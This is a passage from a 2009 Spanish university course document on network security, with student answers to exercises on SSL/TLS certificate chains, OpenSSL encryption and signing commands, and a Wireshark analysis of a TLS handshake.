La entidad emisora de certificados (CA) intermedia firma todos los certificados SSL mediante una jerarquía de dos niveles (denominada también cadena de confianza o "trust chain"), que mejora la seguridad de sus certificados SSL.

En la Figura se muestra la cadena de confianza que se deriva de VeriSign Class 3 Public Primary CA (CA raíz). Observará que hay varios certificados de CA intermedia firmados por esta CA raíz. Entre ellos, se incluyen VeriSign Class 3 Secure Server CA y www.verisign.com/CPS Incorp.by Ref.LIABILITY LTD.(c)97 VeriSign. Estos certificados de CA intermedia firman los certificados de entidad final (sus certificados SSL). Tenga en cuenta que VeriSign Class 3 Public Primary CA también firma las CA intermedias de otros productos como, por ejemplo, los certificados OFX y de firma de código.

49 de 60

https://www.verisign.com/support/verisign-intermediate-ca/index.html


En la Figura , se muestra cómo el navegador valida la cadena de confianza. En este ejemplo, utilizaremos Microsoft Internet Explorer. El certificado SSL de entidad final se encuentra en la parte inferior de la cadena, mientras que la CA raíz se encuentra en la parte superior. El certificado de CA intermedia es el que permite al certificado SSL ascender correctamente en la cadena hasta la raíz.

50 de 60


En la figura he capturado las autoridades CA que tengo cargadas en mi Navegador Firefox correspondientes a VeriSign. Se observa que solo hay una Raiz.

Otro ejemplo:Esta empresa “invex” le proveen cadenas de certificados por parte de VeriSign

51 de 60


Le provee seguridad para transacciones bancarias

52 de 60


EJERCICIO5: Ana Delcy Nomesque Patiño. Noviembre 14 de 2009

El protocolo SSL / TLS ofrece ciertas garantías de seguridad sobre la información quese transmite a nivel de transporte. De acuerdo al funcionamiento de los navegadores web, responde las siguientes preguntas.

5.1. Para que la autenticación del servidor funcione, es preciso que su identidad vengacertificada por una autoridad de confianza. ¿Quién es el responsable de admitir como"de confianza" una autoridad no reconocida por defecto en el navegador?5.2. Imagina que recibes un certificado emitido por “Verising” (tal y como se escribeaquí). Describe qué haría el navegador y qué riesgos de seguridad puede haber.5.3. Especifica como SSL / TLS evita los siguientes ataques: (1) lectura del PIN de unacceso a banca online, (2) modificación de la cuenta corriente de destino de unatransacción de banca online, (3) la suplantación de identidad del servidor. Apuntatambién, de acuerdo con lo visto en el módulo, como se podría tener éxito en losataques.

53 de 60


5.1 Para que la autenticación del servidor funcione, es preciso que su identidad venga certificada por una autoridad de confianza. ¿Quién es el responsable de admitir como “de confianza” una autoridad no reconocida por defecto en el navegador?

El proceso o la responsabilidad inicia mediante una “Autenticación de Identidad”, con un protocolo de reto-respuesta basado en en las que el cliente puede confirmar la identidad del servidor al cual se ha conectado.

La responsabilidad cae en la validación de las firmas. Esta validación la hace el cliente quién debe conocer la clave pública del servidor.

El anterior proceso se realiza mediante “certificados digitales” que son los que carga o se implementan en cada navegador.

5.2 Imagina que recibes un certificado emitido por “Verisign” (tal y como se escribe aquí). Describe que haría el navegador y que riesgos de seguridad puede haber.

Para responder esta pregunta se parte del supuesto que:

● VeriSign no está soportado por ninguna CA Raíz.● Tampoco está soportado por una cadena de certificación.

El navegador primero verifica en el momento de instalar el certificado si ya existe uno con una estructura igual, si no aparece es que el navegador ya poseía dicho certificado.

El primer paso (Solicitud del certificado), el navegador solicitará al servidor de certificados, la descarga o se puede intalar importando uno previamente descargado. Solicitará la identificación del usuario.

Generará las claves privada y pública del certificado, que permitirán la identificación de forma electrónica y unívoca a cada usuario.

Luego solicita un nivel de seguridad. Si el PC donde residirá el certificado es utilizado por varias personas (en este caso se le pedirá una contraseña para mayor seguridad).

Finalmente el navegador implementa un servicio de petición-respuesta para verificar la veracidad del certificado.

Riesgos que pueden haber:

El principal problema de los criptosistemas de clave pública reside en que si se engaña alguien con el valor de la clave pública de otro usuario el sistema se viene abajo . Es necesario garantizar la propiedad y la validez de las claves públicas

54 de 60


● Si la infraestructura de la CA no es segura tampoco serán seguros los certificados.

Generalmente todas la comunicaciones y relaciones que se lleven a cabo en cuanto a la obtención de certificados están gobernados por una política de seguridad .

Pueden fallar estas políticas y dos de las más relevantes son:

● Que las autoridades de registro (RA): para la identificación y el registro previo de identidades antes de ser emitidos los certificados tengan fallos o no sean robustas. Entonces el certificado generado puede fallar.

● Que las autoridades de repositorio, para el almacenamiento y recuperación de certificados no sean seguras ya sea por ataques, capacidad de almacenamiento o no tengan disponibilidad de servicio al 100 %.

● Existe un Dominio, que emite políticas de confianza a los usuarios del CA. Los usuarios son agregados a este Dominio. Si ese dominio tiene problemas en la delegación de permisos , pueden generarse certificados que sean válidos pero que tengan restricciones o permisos más hallá de los solicitados.

● Los Agentes autorizados para revocar certificados pueden ser falsos.

Pero en general, la seguridad depende de la infraestructura de certificación que tengan estas entidades generadoras de certificados.

5.3 Especifica como SSL / TLS evita los siguientes ataques: (1) lectura de PIN de un acceso a banca online, (2) modificación de la cuenta corriente de destino de una transacción de banca online, (3) la suplantación de identidad del servidor. Apunta también, de acuerdo con lo visto en el módulo, como se podría tener éxito en los ataques.

1. Lectura de PIN: Mediante el uso de criptografía simétrica, en la que la generación de claves está respaldada por las firmas digitales. Se utiliza el código de autenticación MAC para ambos extremos.

2. Hace referencia a la emisión de certificados falsos. Por eso se suelen usar cadenas de certificados y emisiones de confianza a terceras personas, respaldadas por un conjunto de cadenas de certificados.

3. El éxito en los ataques, lo puede generar mediante ataques de denegación del servicio. Las opciones de suplantación de identidad usando los ataques smurf, Syncflooding. Esas técnicas en las que se usan “terceros” para lanzar los ataques.

De igual forma, la longitud de las claves de encriptación y las funciones como las de hash si son débiles, facilitan los ataques.

55 de 60


EJERCICIO6: Johana Pinto, Angela Patricia Suárez Montoya, Ana Elizabeth Gallo.Noviembre 14 de 2009

Práctica sobre la herramienta OpenSSLPara hacer los siguientes ejercicios, necesitarás la herramienta OpenSSL, queencontrarás en los sistemas Linux. También está disponible para Windows y, de formaimplícita, a los sistemas Mac OS X. En Internet puedes encontrar multitud de tutorialesy ejemplos de uso. Lógivo que para poder llegar a los ejercicios deben documentar y estudiar que hce OpenSSL .

6.1. Explica el significado de la siguiente instrucción y de sus parámetros$ openssl des3 -base64 -in entrada.txt -out encrypt.txtEsta instrucción cifra el texto que contiene el archivo entrada.txt usando triple DES y elpassword proporcionado por el usuario por medio del teclado. El argumento-base64hace referencia a que la salida debe ser en formato ASCII imprimible y no binario.6.2. La siguiente cadena se ha cifrado con la clave 'uoc' y el algoritmo triple DES:U2FsdGVkX18GT87jqkOyNDTecCDE5mNJZk8/pOSvA6SvOMRoH9rRpQ==¿Cuál es la cadena de origen? ¿Qué comando has utilizado?Para descifrar esta cadena, primero debemos guardarla en un fichero (al cualllamamos encrypt.txt) y debemos poner el $ openssl des3 –d -base64 -inencrypt.txtNos pedirá el password y nos aparecerá la frase "la vida es bella"6.3. Crea ahora un par de claves RSA usando OpenSSL. Usa las siguientesinstrucciones:$ openssl genrsa –des -out keys.txt 1024$ openssl genrsa -out keys2.txt 2048Describe brevemente qué ha pasado y qué diferencia hay entre keys.txt ykeys2.txt. ¿Qué clave es más segura de guardar?El primer caso, nos la guardará cifrada con DES, con lo cual nos pedirá unacontraseña. Finalmente la cabecera del fichero keys.txt nos indica este cifrado:----- BEGIN RSA PRIVATE KEY -----Proc-Type: 4, encryptedDek-Info: DES-CBC, 83EE7AF80E5AFD1CR + f80Hq3pqwtGXBGCj2Jhn …

En el segundo caso nos crea una clave RSA de longitud 2048 bits. Es más seguroguardar la primera clave, ya que sin conocer la contraseña ni se puede usar conOpenSSL ni se puede ver el contenido en claro.6.4. Los anteriores ficheros contienen sólo una clave (la privada). Para obtener la clavepública correspondiente a la privada generada puedes usar la siguiente instrucción, lacual contiene errores. Corrige la instrucción:$ openssl ras –pubin -in keys.txt pubkey.txtLa instrucción correcta sería openssl rsa –pubout -in keys.txt -outpubkey.txt

56 de 60


6.5. Finalmente usaremos las claves acabadas de crear para firmar un archivo. Creaun archivo de texto llamado message.txt y escribe cualquier cosa. ¿Qué comandoutilizas para firmar el archivo y guardar la firma en el fichero signatura.txt? Usa loscomandos rsautl para hacerlo con RSA.$ openssl rsautl -inkey keys.txt –sign -in message.txt -outsignatura.txtAhora, a partir del fichero resultante signatura.txt, pide verificar la firma. Di quécomando usas y cuál es el resultado que obtienes.Usaremos la instrucción:$ openssl rsautl –pubin -inkey pubkey.txt –verify -insignatura.txt -out signed2.txtEn este caso nos generará el archivo signed2.txt el mismo contenido que el mensajeoriginal, dando a entender que el mensaje es correctamente verificado.

EJERCICIO7: Ana E Soledad Siza y Raul.Noviembre 14 de 2009

Práctica sobre certificadosAbre el programa wireshark e inicia una captura de paquetes. Accede al sitio webwww.liniaoberta.com y detiene la captura. Analiza el intercambio de mensajes entre elnavegador y el servidor y compáralo con el esquema detallado en la sección 4.2.2. delmódulo 3.7.1. Justifica las diferencias que observas.No se hace un Hello Request (en los apuntes ya se comenta que es opcional). Elcliente envía el Client Hello, con la lista de algoritmos criptográficos soportados. Elservidor envía el Server Hello, con la especificación de los algoritmos que se utilizarán.Lo sigue el mensaje Certificate y el mensaje Server Hello Done. No se manda elCertificate Request, ya que el cliente no se autentica. Observamos que diversosmensajes se envían juntos. El cliente envía Client key Exchange, Change Cipher Specy Encrypted Handshake Message (equivale a Finished). El servidor envía ChangeCipher Spec y Encrypted Handshake Message.

7.2. ¿Se envían todos los registros sobre una misma trama Ethernet? Muéstralo.No, algunos se envían en distintas tramas.

57 de 60


7.3. Analiza el certificado que se utiliza cuando entras en este sitio web. Describe elsignificado de los campos de información.Se trata de un certificado de servidor emitido por Verisign Algunos campos seinformación són:� Nombre habitual (CN): indica la dirección web que valida el certificado.� Versión.� Número de serie.� Algoritmo de firma.� El emisor.� La validez (por ejemplo con la fecha de caducidad)� La clave que incluye el certificado.� La firma del certificado.� Etc.

58 de 60


7.4. Accede ahora a http://moodle.urv.cat. ¿Por qué aparece el mensaje deseguridad? ¿Quién ha emitido el certificado? ¿Que diferencia hay con respecto alapartado anterior?Nos informa que, a pesar de no estar caducado y referirse a la URL que queremos ver,según el navegador del emisor del certificado no es de confianza. Lo que pasa es queno tenemos cargado al sistema las raíces de CATCert (Agencia Catalana deCertificación) como certificados con los cuales confiar por defecto. En el caso anteriorno había pasado dado que VeriSign ya es de confianza a nuestro navegador (ya tieneel certificado raíz incluido).

59 de 60


7.5. Opcionalmente, obtén el certificado raíz de CATCert y comprueba que después dela instalación a vuestro navegador, ya no da el mensaje. Se puede obtener dehttp://www.catcert.cat/descarega/acc.crt

60 de 60

aspectos avanzados de seguridad en redes

Documents